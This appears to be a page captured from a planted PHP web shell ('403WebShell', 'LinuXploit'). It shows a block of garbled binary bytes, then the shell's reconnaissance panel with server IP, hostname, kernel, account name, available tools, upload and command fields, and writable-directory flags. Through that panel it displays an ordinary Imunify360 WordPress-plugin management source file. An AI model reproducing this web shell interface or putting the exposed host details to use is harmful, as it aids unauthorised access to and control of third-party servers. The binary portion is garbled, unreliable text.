�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 198.54.126.9  /  Your IP : 216.73.216.190
Web Server : Apache
System : Linux host56.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : ecssenvironment ( 1934)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/imav/wordpress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib64/python3.11/site-packages/imav/wordpress/plugin.py
"""
This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License,
or (at your option) any later version.


This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
See the GNU General Public License for more details.


You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.

Copyright © 2019 Cloud Linux Software Inc.

This software is also available under ImunifyAV commercial license,
see <https://www.imunify360.com/legal/eula>
"""
import asyncio
import json
import logging
import os
import pwd
import sentry_sdk
import shutil
import time
from collections import defaultdict
from distutils.version import LooseVersion
from pathlib import Path

from defence360agent.api import inactivity
from defence360agent.contracts.config import (
    MalwareScanSchedule,
    MalwareScanScheduleInterval as Interval,
)
from defence360agent.utils import atomic_rewrite, check_run
from imav.model.wordpress import WPSite
from imav.wordpress import cli, telemetry, PLUGIN_VERSION_FILE
from imav.wordpress.utils import (
    build_command_for_user,
    calculate_next_scan_timestamp,
    clear_get_cagefs_enabled_users_cache,
    get_last_scan,
    get_malware_history,
    prepare_scan_data,
    get_data_dir,
)
from imav.wordpress.site_repository import (
    delete_site,
    get_outdated_sites,
    get_sites_for_user,
    get_sites_to_install,
    get_sites_to_mark_as_manually_deleted,
    get_sites_to_uninstall,
    insert_installed_sites,
    mark_site_as_manually_deleted,
    update_site_version,
)

from imav.wordpress.proxy_auth import setup_site_authentication

logger = logging.getLogger(__name__)

COMPONENTS_DB_PATH = Path(
    "/var/lib/cloudlinux-app-version-detector/components_versions.sqlite3"
)


def site_search(items: dict, user_info: pwd.struct_passwd, matcher) -> dict:
    # Get all WordPress sites for the user (the main site is always last)
    user_sites = get_sites_for_user(user_info)
    result = {path: [] for path in user_sites}
    for item in items:
        # Find all matching sites for this item
        matching_sites = [path for path in user_sites if matcher(item, path)]

        if matching_sites:
            # Find the most specific (longest) matching path
            most_specific_site = max(matching_sites, key=len)
            result[most_specific_site].append(item)

    return result


async def _get_scan_data_for_user(sink, user_info: pwd.struct_passwd):
    # Get the last scan data
    last_scan = await get_last_scan(sink, user_info.pw_name)

    # Extract the last scan date
    last_scan_time = last_scan.get("scan_date", None)

    next_scan_time = None
    if MalwareScanSchedule.INTERVAL != Interval.NONE:
        next_scan_time = calculate_next_scan_timestamp()

    # Get the malware history for the user
    malware_history = get_malware_history(user_info.pw_name)

    # Split malware history by site. This part relies on the main site being the last one in the list.
    # Without this all malware could be attributed to the main site.
    malware_by_site = site_search(
        malware_history,
        user_info,
        lambda item, path: item["resource_type"] == "file"
        and item["file"].startswith(path),
    )

    return last_scan_time, next_scan_time, malware_by_site


async def _send_telemetry_task(coro, semaphore: asyncio.Semaphore):
    async with semaphore:
        try:
            await coro
        except Exception as e:
            logger.error(f"Telemetry task failed: {e}")


async def process_telemetry_tasks(coroutines: list, concurrency=10):
    """
    Process a list of telemetry coroutines with a concurrency limit.s
    """
    if not coroutines:
        return

    semaphore = asyncio.Semaphore(concurrency)
    tasks = [
        asyncio.create_task(_send_telemetry_task(coro, semaphore))
        for coro in coroutines
    ]

    try:
        await asyncio.gather(*tasks)
    except Exception as e:
        logger.error(f"Some telemetry tasks failed: {e}")


async def install_everywhere(sink):
    """Install the imunify-security plugin for all sites where it is not installed."""
    logger.info("Installing imunify-security wp plugin")

    # Keep track of the installed sites
    installed = set()
    authenticated = set()
    failed = set()
    telemetry_coros = []
    with inactivity.track.task("wp-plugin-installation"):
        try:
            clear_get_cagefs_enabled_users_cache()

            to_install = get_sites_to_install()

            if not to_install:
                return

            # Group sites by user id
            sites_by_user = defaultdict(list)
            for site in to_install:
                sites_by_user[site.uid].append(site)

            # Now iterate over the grouped sites
            for uid, sites in sites_by_user.items():
                try:
                    user_info = pwd.getpwuid(uid)
                    username = user_info.pw_name
                except Exception as error:
                    sentry_sdk.capture_message(
                        "Skipping installation of WordPress plugin on"
                        " {count} site(s) because they belong to user"
                        " {user} and it is not possible to retrieve"
                        " username for this user. Reason: {reason}".format(
                            count=len(sites),
                            user=uid,
                            reason=error,
                        ),
                        level="warning",
                    )
                    continue

                (
                    last_scan_time,
                    next_scan_time,
                    malware_by_site,
                ) = await _get_scan_data_for_user(sink, user_info)

                for site in sites:
                    if await remove_site_if_missing(sink, site):
                        continue
                    try:
                        # Check if site is correctly installed and accessible using WP CLI
                        is_wordpress_installed = (
                            await cli.is_wordpress_installed(site)
                        )
                        if not is_wordpress_installed:
                            sentry_sdk.capture_message(
                                "WordPress site is not accessible using WP"
                                " CLI. site={site}".format(site=site),
                                level="warning",
                            )
                            continue

                        # Prepare scan data
                        scan_data = prepare_scan_data(
                            last_scan_time,
                            next_scan_time,
                            username,
                            site,
                            malware_by_site,
                        )

                        # Create the scan data file
                        await update_scan_data_file(site, scan_data)
                        await update_site_auth(
                            site, user_info, authenticated, failed
                        )

                        # Install the plugin
                        await cli.plugin_install(site)

                        # Get the version of the plugin
                        version = await cli.get_plugin_version(site)

                        if not version:
                            installed.add(site)
                        else:
                            installed.add(
                                WPSite.build_with_version(site, version)
                            )

                        # Prepare telemetry
                        telemetry_coros.append(
                            telemetry.send_event(
                                sink=sink,
                                event="installed_by_imunify",
                                site=site,
                                version=version,
                            )
                        )
                    except Exception as error:
                        logger.error(
                            "Failed to install plugin to site=%s error=%r",
                            site,
                            error,
                        )
            logger.info(
                "Installed imunify-security wp plugin on %d sites",
                len(installed),
            )
            if failed:
                logger.warning(
                    "Failed to authenticate %d sites",
                    len(failed),
                )
        except asyncio.CancelledError:
            logger.info(
                "Installation imunify-security wp plugin was cancelled. Plugin"
                " was installed for %d sites",
                len(installed),
            )
        except Exception as error:
            logger.error(
                "Error occurred during plugin installation. error=%r", error
            )
            raise
        finally:
            # Insert the installed sites into the database
            insert_installed_sites(installed)
            # Send telemetry
            await process_telemetry_tasks(telemetry_coros)


def get_latest_plugin_version() -> str:
    """Get the latest version of the imunify-security plugin from the version file."""
    try:
        if not PLUGIN_VERSION_FILE.exists():
            logger.error(
                "Plugin version file does not exist: %s", PLUGIN_VERSION_FILE
            )
            return None
        return PLUGIN_VERSION_FILE.read_text().strip()
    except Exception as e:
        logger.error("Failed to read plugin version file: %s", e)
        return None


async def update_everywhere(sink):
    """Update the imunify-security plugin on all sites where it is installed."""
    latest_version = get_latest_plugin_version()
    if not latest_version:
        logger.error("Could not determine latest plugin version")
        return

    logger.info(
        "Updating imunify-security wp plugin to the latest version %s",
        latest_version,
    )

    updated = set()
    telemetry_coros = []
    with inactivity.track.task("wp-plugin-update"):
        try:
            # Get sites with outdated versions
            outdated_sites = get_outdated_sites(latest_version)
            logger.info(f"Found {len(outdated_sites)} outdated sites")

            if not outdated_sites:
                return

            # Group sites by user id
            sites_by_user = defaultdict(list)
            for site in outdated_sites:
                sites_by_user[site.uid].append(site)

            # Process each user's sites
            for uid, sites in sites_by_user.items():
                try:
                    user_info = pwd.getpwuid(uid)
                    username = user_info.pw_name
                except Exception as error:
                    logger.error(
                        "Failed to get username for uid=%d. error=%s",
                        uid,
                        error,
                    )
                    continue

                # Get scan data once for all sites of this user
                (
                    last_scan_time,
                    next_scan_time,
                    malware_by_site,
                ) = await _get_scan_data_for_user(sink, user_info)

                for site in sites:
                    if await remove_site_if_missing(sink, site):
                        continue
                    try:
                        # Check if site still exists
                        if not await cli.is_wordpress_installed(site):
                            logger.info(
                                "WordPress site no longer exists: %s", site
                            )
                            continue

                        # Prepare scan data
                        scan_data = prepare_scan_data(
                            last_scan_time,
                            next_scan_time,
                            username,
                            site,
                            malware_by_site,
                        )

                        # Update the scan data file
                        await update_scan_data_file(site, scan_data)

                        # Now update the plugin
                        await cli.plugin_update(site)
                        updated.add(site)

                        # Get the version after update
                        version = await cli.get_plugin_version(site)
                        if version:
                            # Store original version for comparison
                            original_version = site.version

                            # Update the database with the new version
                            update_site_version(site, version)

                            # Create a new WPSite with updated version
                            site = site.build_with_version(version)

                            # Determine if this is a downgrade
                            is_downgrade = LooseVersion(
                                version
                            ) < LooseVersion(original_version)

                            # Prepare telemetry
                            telemetry_coros.append(
                                telemetry.send_event(
                                    sink=sink,
                                    event="downgraded_by_imunify"
                                    if is_downgrade
                                    else "updated_by_imunify",
                                    site=site,
                                    version=version,
                                )
                            )

                    except Exception as error:
                        logger.error(
                            "Failed to update plugin on site=%s error=%s",
                            site,
                            error,
                        )

            logger.info(
                "Updated imunify-security wp plugin on %d sites",
                len(updated),
            )
        except asyncio.CancelledError:
            logger.info(
                "Update of imunify-security wp plugin was cancelled. Plugin"
                " was updated on %d sites",
                len(updated),
            )
        except Exception as error:
            logger.error(
                "Error occurred during plugin update. error=%s", error
            )
            raise
        finally:
            # Send telemetry
            await process_telemetry_tasks(telemetry_coros)


async def delete_plugin_files(site: WPSite):
    data_dir = get_data_dir(site)
    if data_dir.exists():
        await asyncio.to_thread(shutil.rmtree, data_dir)


async def remove_from_single_site(site: WPSite, sink, telemetry_coros) -> int:
    """
    Remove the imunify-security plugin from a single site, including all cleanup and telemetry.
    Returns the number of affected sites (should be 1 if deletion was successful).
    This function is intended to be protected with asyncio.shield to ensure it completes even if the parent task is cancelled.
    """
    try:
        # Check if site is still installed and accessible using WP CLI
        is_installed = await cli.is_plugin_installed(site)
        if not is_installed:
            # Plugin is no longer installed. It was removed manually by the user.
            mark_site_as_manually_deleted(site, time.time())

            # Send telemetry for manual removal
            telemetry_coros.append(
                telemetry.send_event(
                    sink=sink,
                    event="removed_by_user",
                    site=site,
                    version=site.version,
                )
            )
            return 0

        # Get the version of the plugin (for telemetry data)
        version = await cli.get_plugin_version(site)

        # Uninstall the plugin from WordPress site.
        await cli.plugin_uninstall(site)

        # Delete the data files from the site.
        await delete_plugin_files(site)

        # Delete the site from database.
        affected = delete_site(site)

        # Send telemetry for successful uninstall
        telemetry_coros.append(
            telemetry.send_event(
                sink=sink,
                event="uninstalled_by_imunify",
                site=site,
                version=version,
            )
        )
        return affected
    except Exception as error:
        # Log any error that occurs during the removal process
        logger.error("Failed to remove plugin from %s %s", site, error)
        return 0


async def remove_all_installed(sink):
    """Remove the imunify-security plugin from all sites where it is installed."""
    logger.info("Deleting imunify-security wp plugin")

    telemetry_coros = []
    affected = 0
    with inactivity.track.task("wp-plugin-removal"):
        try:
            to_remove = get_sites_to_uninstall()

            for site in to_remove:
                try:
                    affected += await asyncio.shield(
                        remove_from_single_site(site, sink, telemetry_coros)
                    )
                except asyncio.CancelledError:
                    logger.info(
                        "Deleting imunify-security wp plugin was cancelled."
                        " Plugin was deleted from %d sites (out of %d)",
                        affected,
                        len(to_remove),
                    )
        except Exception as error:
            logger.error("Error occurred during plugin deleting. %s", error)
            raise
        finally:
            logger.info(
                "Removed imunify-security wp plugin from %s sites",
                affected,
            )

            #  send telemetry
            await process_telemetry_tasks(telemetry_coros)


async def tidy_up_manually_deleted(sink):
    telemetry_coros = []
    try:
        to_mark_as_manually_removed = get_sites_to_mark_as_manually_deleted()

        if to_mark_as_manually_removed:
            now = time.time()
            for site in to_mark_as_manually_removed:
                mark_site_as_manually_deleted(site, now)

                # Prepare telemetry
                telemetry_coros.append(
                    telemetry.send_event(
                        sink=sink,
                        event="removed_by_user",
                        site=site,
                        version=site.version,
                    )
                )

    except Exception as error:
        logger.error("Error occurred during site tidy up. %s", error)
    finally:
        if telemetry_coros:
            await process_telemetry_tasks(telemetry_coros)


async def update_data_on_sites(sink, sites: list[WPSite]):
    if not sites:
        return

    # Group sites by user id
    sites_by_user = defaultdict(list)
    for site in sites:
        sites_by_user[site.uid].append(site)

    # Now iterate over the grouped sites
    for uid, sites in sites_by_user.items():
        try:
            user_info = pwd.getpwuid(uid)
            username = user_info.pw_name
        except Exception as error:
            logger.error(
                "Failed to get username for uid=%d. error=%s",
                uid,
                error,
            )
            continue

        (
            last_scan_time,
            next_scan_time,
            malware_by_site,
        ) = await _get_scan_data_for_user(sink, user_info)

        for site in sites:
            if await remove_site_if_missing(sink, site):
                continue
            try:
                # Prepare scan data
                scan_data = prepare_scan_data(
                    last_scan_time,
                    next_scan_time,
                    username,
                    site,
                    malware_by_site,
                )

                # Update the scan data file
                await update_scan_data_file(site, scan_data)
            except Exception as error:
                logger.error(
                    "Failed to update scan data on site=%s error=%s",
                    site,
                    error,
                )


async def update_scan_data_file(site: WPSite, scan_data: dict):
    # Get the gid for the given user
    user_info = pwd.getpwuid(site.uid)
    gid = user_info.pw_gid

    # Create data directory
    data_dir = get_data_dir(site)
    if os.path.islink(data_dir):
        # If the data directory is a symlink, interrupt the process.
        raise Exception(
            "Data directory %s is a symlink, skipping.", str(data_dir)
        )

    if not data_dir.exists():
        command = build_command_for_user(
            user_info.pw_name,
            [
                "mkdir",
                "-p",
                str(data_dir),
            ],
        )

        await check_run(command)

        if not data_dir.exists():
            # Directory creation failed. Interrupt the process.
            raise Exception(
                "Failed to create directory %s for user %s",
                str(data_dir),
                user_info.pw_name,
            )

        # we can safely change the permissions of the directory because we just created it
        data_dir.chmod(0o750)

    scan_data_path = data_dir / "scan_data.php"

    # Format the PHP file content
    php_content = (
        "<?php\n"
        "if ( ! defined( 'WPINC' ) ) {\n"
        "\texit;\n"
        "}\n"
        "return json_decode( '"
        + json.dumps(scan_data).replace("'", "\\'")
        + "', true );"
    )

    # Check if the file exists, create an empty file if it doesn't
    if not scan_data_path.exists():
        scan_data_path.touch()

    # Write the formatted PHP file
    atomic_rewrite(
        scan_data_path,
        php_content,
        backup=False,
        uid=site.uid,
        gid=gid,
        permissions=0o400,
    )


async def update_auth_everywhere():
    """Update auth.php files for all existing WordPress sites."""
    logger.info("Updating auth.php files for existing WordPress sites")

    updated = set()
    failed = set()

    with inactivity.track.task("wp-auth-update"):
        try:
            clear_get_cagefs_enabled_users_cache()

            # Get all installed sites instead of sites to install
            # get_sites_to_uninstall returns all active sites from db
            installed_sites = get_sites_to_uninstall()

            if not installed_sites:
                logger.info("No installed WordPress sites found")
                return

            sites_by_user = defaultdict(list)
            for site in installed_sites:
                sites_by_user[site.uid].append(site)

            # Process users concurrently
            tasks = []
            for uid, sites in sites_by_user.items():
                try:
                    user_info = pwd.getpwuid(uid)
                    # Create tasks for all sites of this user
                    for site in sites:
                        task = update_site_auth(
                            site, user_info, updated, failed
                        )
                        tasks.append(task)
                except Exception as error:
                    sentry_sdk.capture_message(
                        "Skipping auth update for WordPress sites on"
                        " {count} site(s) because they belong to user"
                        " {user} and it is not possible to retrieve"
                        " username for this user. Reason: {reason}".format(
                            count=len(sites),
                            user=uid,
                            reason=error,
                        ),
                        level="warning",
                    )
                    continue

            # Run all site updates concurrently with a reasonable limit
            # Adjust max_concurrent based on your system's I/O capacity
            max_concurrent = 10
            for i in range(0, len(tasks), max_concurrent):
                batch = tasks[i : i + max_concurrent]
                await asyncio.gather(*batch, return_exceptions=True)

            logger.info(
                "Updated auth.php files for %d WordPress sites, %d failed",
                len(updated),
                len(failed),
            )

        except asyncio.CancelledError:
            logger.info(
                "Auth update for WordPress sites was cancelled. Auth was"
                " updated for %d sites",
                len(updated),
            )
        except Exception as error:
            logger.error("Error occurred during auth update. error=%s", error)
            raise


async def update_site_auth(site, user_info, updated, failed):
    """Process authentication setup for a single site."""
    try:
        await setup_site_authentication(site, user_info)
        updated.add(site)
    except Exception as error:
        failed.add(site)
        logger.error(
            "Failed to update auth for site=%s error=%s",
            site,
            error,
        )


async def remove_site_if_missing(sink, site: WPSite) -> bool:
    """
    Checks if the site directory exists. If not, sends a 'site_removed' telemetry event and removes the site from the local database.
    Returns True if the site was removed (directory missing), False otherwise.
    Parameters:
        sink: The telemetry/event sink.
        site: The WPSite object to check and potentially remove.
    Side effect: If the site is missing, it will be removed from the database and a telemetry event will be sent.
    """
    if os.path.isdir(site.docroot):
        return False

    await telemetry.send_event(
        sink=sink, event="site_removed", site=site, version=site.version
    )
    delete_site(site)
    return True

Youez - 2016 - github.com/yon3zu
LinuXploit